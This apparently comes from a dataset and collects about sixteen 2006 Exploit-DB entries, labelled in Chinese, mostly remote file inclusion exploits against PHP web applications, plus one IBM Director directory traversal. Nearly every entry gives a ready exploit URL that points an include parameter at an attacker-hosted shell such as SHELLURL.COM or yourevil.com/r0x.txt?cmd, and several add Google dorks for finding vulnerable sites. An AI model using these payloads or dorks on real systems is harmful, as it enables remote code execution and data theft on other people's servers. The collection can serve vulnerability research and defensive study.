QLWD/code_shield huggingface dataset:
标题: PhotoKorn Gallery 1.52 - 'dir_path' Remote File Inclusion EDB-ID: 2327 CVE: 2006-4670 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: #====================================================================
#PhotoKorn Gallery => 1.52 (dir_path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#=================================================================
#
#Script Name: PhotoKorn Gallery v 1.52
#Script :)
#http://warez.gtasoft.ru/skripts/PhotoKorn.Gallery.(SL).v1.52.PHP.NULL-DGT.zip
#
#=================================================================
#Bug in : cart.inc.php  &  ext_cats.php
#
# <<<<<<<< include_once($dir_path."/footer.php");
#
#in <<<<  includes/cart.inc.php & extras/ext_cats.php & ....... :)
#=================================================================
#
#Dork : photokorn 1.52
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[path]/includes/cart.inc.php?dir_path=http://SHELLURL.COM?
#or
#http://sitename.com/[path]/extras/ext_cats.php?dir_path=http://SHELLURL.COM?
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :All My Frind & Me :)
#www.S3hr.com . www.xp10.com . www.3asfh.net . www.lezr.com .www.king18.org
#===============================================================================

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2327
标题: IBM Director < 5.10 - 'Redirect.bat' Directory Traversal EDB-ID: 2320 CVE: 2006-4681 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-07 漏洞利用脚本: There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key (or insert evil file here)


This was fixed in the 5.10 version of ibm director.

-Daniel Clemens

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2320
标题: News Evolution 3.0.3 - _NE[AbsPath] Remote File Inclusion EDB-ID: 2325 CVE: 2006-4678 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: # ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
# News Evolution v3.0.3 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=825
 
# Script  :  News Evolution v3.0.3
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, Blackened, Di_lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/install.php?_NE[AbsPath]=[shell]
  
     http://www.site.com/[path]/migrateNE2toNE3.php?_NE[AbsPath]=[shell]

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2325
标题: PhpNews 1.0 - 'Include' Remote File Inclusion EDB-ID: 2323 CVE: 2006-7081 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: ########################################################################
#  PhpNews v1.0  Remote File Inclusion Vulnerability
#
#  Download: ftp://ftp1.comscripts.com/PHP/36_phpnews-10.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/Include/lib.inc.php3?Include=http://cmd.gif?
#  http://[Target]/[Path]/Include/variables.php3?Include=http://cmd.gif?
########################################################################

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2323
标题: phpBB Shadow Premod 2.7.1 - Remote File Inclusion EDB-ID: 2311 CVE: 2006-4664 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-06 漏洞利用脚本: ---------------------------------------------------------------------------
Shadow Prémod <= 2.7.1 [phpbb_root_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
Google d0rk: "Dernière version de la Prémod Shadow sur phpBB.biz"
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Shadow Prémod
version : 2.7.1
URL : http://premod-shadow.info
------------------------------------------------------------------


Exploit:
~~~~~~
Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_portal.php?phpbb_root_path=[Evi
l_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~~
declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-09-06] URL: https://www.exploit-db.com/exploits/2311
标题: Akarru 0.4.3.34 - 'bm_content' Remote File Inclusion EDB-ID: 2315 CVE: 2006-4645 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-06 漏洞利用脚本: # ERNE ---- ERNEAL&#304;ZM ---- BU ASK BiTMEZ----
 
# Akarru v0.4.3.34 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=2006
 
# Script  :  Akarru v0.4.3.34
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : B0tan, FearLesS, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/akarru.gui/main_content.php?bm_content=[shell]

# milw0rm.com [2006-09-06] URL: https://www.exploit-db.com/exploits/2315
标题: Web Server Creator 0.1 - 'l' Remote File Inclusion EDB-ID: 2318 CVE: 2006-4746 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: ###########################################################

#Web Server Creator v0.1 (l) Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#URL: http://www.comscripts.com/jump.php?action=script&id=1082

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:   include $l;

############################################################

#Exploit:
http://www.site.com/[path]/news/include/customize.php?l=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA,  gültekin

############################################################

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2318
标题: Sponge News 2.2 - 'sndir' Remote File Inclusion EDB-ID: 2309 CVE: 2006-4647 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-05 漏洞利用脚本: #==============================================================================================
#Sponge News <= v2.2 (sndir) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://rickeeweb.free.fr/spongeweb/       
#                                                                       
#Version : v2.2                                             
#                                                         
#================================================================================================
#Bug in : news.php
#
#Vlu Code :
#--------------------------------
#      ########################
#       # Les variables utiles #
#       ########################
#       $newsdir = "news/";
#       $commentdir = "comments/";
#       $snversion = "2.2";
#       $lastmodif = "Decembre 2002";
#       $scriptdir = $sndir;
#       $page = $current;
#       require $scriptdir."config.php";
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/news.php?sndir=http://SHELLURL.COM?
#
#Example :
#       http://rickeeweb.free.fr/sndemo/
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-05] URL: https://www.exploit-db.com/exploits/2309
标题: AnnonceV News Script 1.1 - 'page' Remote File Inclusion EDB-ID: 2305 CVE: 2006-4622 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-05 漏洞利用脚本: * Kurdish Security Advisory
* Original Adv : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev-news.html
* Script : AnnonceV
* Site : http://www.comscripts.com/scripts/php.annoncesv.1895.html
* Version : 1.1
* Risk : High
* Class : Remote
* Contact : botan@linuxmail.org and irc.gigachat.net #kurdhack
* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and other my friends
-----------------------------------------------------------------------------------

Google w0rkez :P : "AnnonceV1.1"
: "/admin/annonce.php"
: "/annonce.php"

lol now code :]

$page=$_GET['page'];


if(substr($page, -3) == 'txt')//pour les news
{
include("newsdisplay.php");
}

else //pour toutes les autres pages
{
include($page.".php");
}

?>

http://www.site.com/annonce.php?page=yourcode.txt?&cmd=id
http://www.site.com/admin/annonce.php?page=yourcode.txt?&cmd=id

# milw0rm.com [2006-09-05] URL: https://www.exploit-db.com/exploits/2305
标题: PayProCart 1146078425 - Multiple Remote File Inclusions EDB-ID: 2316 CVE: 2006-4672 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: google dork :"powered by: profitCode"

exploite:
http://[url]/index.php?proMod=http://shell.txt?

discoverde by momo26  ;)!!!!!!!!!!!!!!!

+--------------------------------------------------------------------
+
+  ppalCart V(2.5 EE)  Remote File Inclusion
+
+-------------------------------------------------------------------
+
+ Affected Software .: Software
+ Version .............: ppalCart 2.5 EE
+ Venedor ...........:   http://www.profitcode.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: momo26
+ Writtin by ..........: Eddy_BAck0o - www.LEzr.com/vB
+ Contact ...........: http://www.lezr.com/vb/showthread.php?t=12673
+
+--------------------------------------------------------------------
+--------------------------------------------------------------------
+ ./index Directory ...
+ [index.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include $docroot . "js/css/shop-custom.php";
+include $docroot . "js/css/shop-default.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 50 - 349
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+else if($proMod) {
+include "$proMod" . ".php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 288 - 349
+Ex --> http://www.victom.com/index.php?proMod=http://yourevil.com/r0x.txt?cmd
+
+-------------------------------------------------------------------
+-------------------------------------------------------------------
+ [mainpage.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "shopincs/commonincs/shop-mainbottom" . "$langFile" .
".php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 158 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "tplates/newitems.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 284 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "tplates/specials.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 287 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "cstmincs/cstmbanner$langFile.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 290 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "tplates/upselladvert.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 292 - 308
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+include "$docroot" . "mainincs/upsellproducts.php";
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Line --> 298 - 308
+Ex --> http://www.victom.com/mainpage.php?docroot=http://yourevil.com/r0x.txt?cmd
+
+--------------------------------------------------------------------
+Eddy_BAck0o ;
+--------------------------------------------------------------------

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2316
标题: BinGo News 3.01 - 'bnrep' Remote File Inclusion EDB-ID: 2312 CVE: 2006-4649 2006-4648 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-06 漏洞利用脚本: #==============================================================================================
#BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://bingophp.free.fr/BinGoPHPnewslast_full.zip       
#                                                                       
#Version : v3.01                                             
#                                                         
#================================================================================================
#
#Dork : ""Script réalisé par BinGo PHP""
#
#================================================================================================
#Bug in : bp_ncom.php
#
#Vlu Code :
#--------------------------------
#      include $bnrep."bn_configs.php";
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/bp_ncom.php?bnrep=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-06] URL: https://www.exploit-db.com/exploits/2312
标题: SL_Site 1.0 - 'spaw_root' Remote File Inclusion EDB-ID: 2317 CVE: 2006-5291 2006-4656 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: ---------------------------------------------------------------------------
SL_Site <= 1.0 [spaw_root] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : SL_Site
version : 1.0
URL : ftp://ftp1.comscripts.com/PHP/2032_slsite-10.zip
------------------------------------------------------------------


Exploit:
~~~~~
Variable $spaw_root not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://site.com/[path]/admin/editeur/spaw_control.class.php?spaw_root=[Evil_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~
declare variabel $spaw_root
---------------------------------------------------------------------------


Shoutz:
~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2317
标题: ACGV News 0.9.1 - 'article.php' Remote File Inclusion EDB-ID: 2307 CVE: 2006-4638 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-05 漏洞利用脚本: #==============================================================================================
#ACGV News <= v0.9.1 (PathNews) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://www.acgv.fr.st/       
#                                                                       
#Version : v0.9.1                                             
#                                                         
#================================================================================================
#Bug in : article.php
#
#Vlu Code :
#--------------------------------
#     include_once($PathNews."header.php");
# 
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/article.php?PathNews=http://SHELLURL.COM?
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke SimOO KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# ==================================================================================================

# milw0rm.com [2006-09-05] URL: https://www.exploit-db.com/exploits/2307
标题: phpFullAnnu 5.1 - 'repmod' Remote File Inclusion EDB-ID: 2313 CVE: 2006-4644 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-06 漏洞利用脚本: #==============================================================================================
#phpFullAnnu <= v5.1 (repmod) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://pfa.netsliver.com/download/phpfullannu-v5.1.zip       
#                                                                       
#Version : v5.1                                             
#                                                         
#================================================================================================
#Bug in : modules/home.module.php
#
#Vlu Code :
#--------------------------------
#      include($repmod.'linksdirect.module.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/modules/home.module.php?repmod=http://SHELLURL.COM?
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-06] URL: https://www.exploit-db.com/exploits/2313
标题: C-News 1.0.1 - 'path' Remote File Inclusion EDB-ID: 2308 CVE: 2006-4629 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-05 漏洞利用脚本: #==============================================================================================
#C-News <= v1.0.1 (path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://www.c-news.fr/       
#                                                                       
#Version : v1.0.1                                             
#                                                         
#================================================================================================
#Bug in : affichage/commentaires.php
#
#Vlu Code :
#--------------------------------
#      include($path . 'data/config.inc.php');
# 
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/affichage/commentaires.php?path=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : SiMooooo
==================================================================================================

# milw0rm.com [2006-09-05] URL: https://www.exploit-db.com/exploits/2308
标题: Fire Soft Board RC 3 - 'racine' Remote File Inclusion EDB-ID: 2319 CVE: 2006-4716 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: # ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
# Fire Soft Board - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=1689&SID=b8a60b0cb6352bc4e545abf0dd4ea90d
 
# Script  :  Fire Soft Board
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, B0tan, FearLesS, B3g0k, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/demarrage.php?racine=[shell]

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2319